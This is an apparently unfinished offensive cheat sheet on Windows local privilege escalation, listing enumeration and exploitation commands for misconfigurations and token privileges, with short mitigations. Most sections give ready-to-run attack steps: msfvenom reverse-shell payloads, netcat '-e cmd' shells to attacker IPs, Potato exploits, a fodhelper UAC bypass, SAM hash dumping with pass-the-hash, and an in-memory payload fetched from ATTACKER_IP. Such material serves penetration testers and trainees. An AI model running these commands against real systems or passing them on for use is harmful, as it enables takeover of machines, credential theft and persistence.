Windows Local Privilege Escalation

🛠️ Under Constructions

Useful Tools

In the following table, some popular and useful tools for Windows local privilege escalation are presented:

Name	Language	Author	Description
SharpUp	C#	@harmj0y	SharpUp is a C# port of various PowerUp functionality
PowerUp	PowerShell	@harmj0y	PowerUp aims to be a clearinghouse of common Windows privilege escalation
Privesc	PowerShell	enjoiz	Windows PowerShell script that finds misconfiguration issues which can lead to privilege escalation
Winpeas	C#	@hacktricks_live	Windows local Privilege Escalation Awesome Script
PrivescCheck	PowerShell	@itm4n	Privilege Escalation Enumeration Script for Windows

AlwaysInstallElevated

Manual Enumeration

$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Tool Enumeration

$ SharpUp.exe audit AlwaysInstallElevated

Exploitation

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.15 LPORT=9001 -f msi > backdoor.msi

execute on windows
$ msiexec /quiet /qn /i backdoor.msi

Mitigation

To mitigate the AlwaysInstallElevated vulnerability, it is recommended to set the AlwaysInstallElevated value to 0 in both the HKEY_LOCAL_MACHINE and HKEY_CURRENT_USER hives in the Windows Registry.

Answer files (Unattend files)

Manual Enumeration

$ Write-Host `n;foreach ($file in @('C:\Windows\Panther\unattend.xml', 'C:\Windows\Panther\Unattend\unattend.xml', 'C:\Windows\System32\Sysprep\unattend.xml', 'C:\Windows\System32\Sysprep\sysprep.xml', 'C:\Windows\System32\Sysprep\Panther\unattend.xml', 'C:\Windows\sysprep.inf', 'C:\Windows\unattend.xml', 'C:\unattend.xml', 'C:\sysprep.inf')) { if (Test-Path $file) { Write-Host "[+] $file" } }; Write-Host `n

Tool Enumeration

$ SharpUp.exe audit UnattendedInstallFiles

Exploitation

1-  Read the content of the found answer file:
$ type  C:\Windows\Panther\Unattend\Unattend.xml

2- decode the base64 password field
$ echo "<base64 string>" | base64 -d

Leaked Credentials (GitHub Repository)

$ git log

$ git diff <commit-id-1> <commit-id-2>

$ git show

Leaked Credentials (PowerShell History)

$ C:\Users\<User>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Mitigation

$ Clear-Content -Path "C:\Users\<User>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

Logon Autostart Execution (Registry Run Keys)

Manual Enumeration

$ reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tool Enumeration

$ SharpUp.exe audit RegistryAutoruns

Exploitation

$ msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.15 lport=9001 -f exe > shell.exe

Rename the malicious exe (shell.exe) to ‘NCV_AMD64.exe’.
Open a listener on your Kali machine.
Reboot the victim’s machine and login as Adminstrator:

Mitigation

$ reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "<KeyName>" /f

Logon Autostart Execution (Startup Folder)

$ icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Tool Enumeration

$ accesschk.exe /accepteula "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Exploitation

$ msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.15 lport=9001 -f exe > shell.exe

Move the malicious executable file to ‘C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup’.
Open a listener on your Kali machine.
Reboot the victim’s machine and login as Adminstrator:

Mitigation

$ takeown /F "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" /A /R /D Y
$ icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" /reset /T /C /Q

SeBackupPrivilege

Enumeration

$ whoami /priv
$ SharpUp.exe audit TokenPrivileges

Exploitation

$ mkdir C:\temp
$ reg save hklm\sam C:\temp\sam.hive
$ reg save hklm\system C:\temp\system.hive
$ impacket-secretsdump -sam sam.hive -system system.hive LOCAL
$ evil-winrm -i <ip> -u "Administrator" -H "<hash>"

SeImpersonatePrivilege

Enumeration

$ whoami /priv
$ SharpUp.exe audit TokenPrivileges

Exploitation

PrintSpoofer

$ PrintSpoofer64.exe -i -c cmd

Potato Family JuicyPotato

JuicyPotatoNG

JuicyPotatoNG.exe -t * -p C:\windows\system32\cmd.exe -a "/c C:\users\kohsuke\desktop\nc.exe -e cmd.exe 10.10.16.48 9002"

PrintSpoofer

# can use -i to inject to same process
PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

RoguePotato

c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

# If outbound 135 is blocked, pivot the OXID resolver via socat on your redirector:
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999

SharpEfsPotato

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
# we cat the w.log  
type C:\temp\w.log
nt authority\system

EfsPotato

# output will be nt authority\system
EfsPotato.exe "whoami"

# If one pipe fails or EDR blocks it, try the other supported pipes:
EfsPotato <cmd> [pipe]
	pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)

GodPotato

# Works across Windows 8/8.1–11 and Server 2012–2022 when SeImpersonatePrivilege is present.
GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

DCOMPotato

# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"

# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"

SigmaPotato

# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
[SigmaPotato]::Main("cmd /c whoami")

# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))

CLSID Problems

# Oftentimes default CLSID that JuicyPotato uses doesn't work 
https://ohpe.it/juicy-potato/CLSID/

Checking CLSIDs

# Download Join-Object.ps1 and load it
https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1

# download and execute 
https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1

# trying every CLSID  when the port number changes, it will mean that the CLSID worked.
# Check the working CLSIDs using the parameter -c
https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat

Stored Credentials (Runas)

Enumeration

$ cmdkey /list

Exploitaion

- on attacker:
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.15 LPORT=9001 -f exe > mallicous.exe

- on victim:
$ runas /savecred /user:WORKGROUP\Administrator "C:\Windows\Tasks\mallicous.exe"

UAC Bypass

Enumeration

$ reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

Tool Enumeration

$ SharpUp.exe audit

Exploitation

ℹ️ This case study leverages a UAC384 bypass that abuses the Fodhelper.exe application

on attacker:
$ msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.15 lport=9001 -f exe > mallicous.exe

on victim:
$ New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
$ New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
$ Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "powershell -exec bypass -c C:\<full_path>\<binary.exe>" -Force
C:\Windows\System32\fodhelper.exe

Unquoted Service Path

Enumeration

$ wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
$ sc qc "Vulnerable Service 1"
$ icacls "C:\Program Files\Vulnerable Service1"

Tool Enumeration

$ SharpUp.exe audit UnquotedServicePath

Exploitation

$ sc query "Vulnerable Service 1"

on attacker:
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.15 LPORT=9001 -f exe > Service.exe

on victim:
$ iwr -Uri http://<ip>:<port>/Service.exe -Outfile "C:\Program Files\Vulnerable Service1\Service.exe"
$ sc stop "Vulnerable Service 1"
$ sc start "Vulnerable Service 1"

Weak Registry Permissions

Enumeration

Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4" | fl
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4"

Tool Enumeration

SharpUp.exe audit ModifiableServiceRegistryKeys

Exploitation

on attacker
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.15 LPORT=9001 -f exe > Service4.exe
nc -lnvp 9001

on victim:
iwr -Uri http://<ip>:<port>/Service4.exe -Outfile C:\Windows\Tasks\Service4.exe
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\Tasks\Service4.exe" /f
sc start "Vulnerable Service 4"

Mitigation

Automated Script
# Define the registry key path
$regKey = "HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4"

# Get the current ACL (Access Control List) for the registry key
$acl = Get-Acl -Path $regKey

# Specify the account and access rights to be removed
$account = "BUILTIN\Users"
$accessRights = [System.Security.AccessControl.RegistryRights]::FullControl

# Create a new access rule to remove FullControl
$accessRule = New-Object System.Security.AccessControl.RegistryAccessRule($account, $accessRights, "Deny")

# Remove the access rule from the ACL
$acl.RemoveAccessRule($accessRule)

# Set the modified ACL back to the registry key
Set-Acl -Path $regKey -AclObject $acl

Weak Service Binary Permissions

Enumeration

icacls "C:\Program Files\CustomSrv2\Service2.exe"

sc qc "Vulnerable Service 2"

Tool Enumeration

$ SharpUp.exe audit ModifiableServiceBinaries

Exploitation

$ sc stop "Vulnerable Service 2"

on attacker:
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.15 LPORT=9001 -f exe > Service2.exe

on victim:
$ iwr -Uri http://<ip>:<port>/Service2.exe -Outfile C:\Program Files\CustomSrv2\Service2.exe
$ sc start "Vulnerable Service 2"

Mitigation

icacls "C:\Program Files\CustomSrv2\Service2.exe" /remove:g BUILTIN\Users:(M)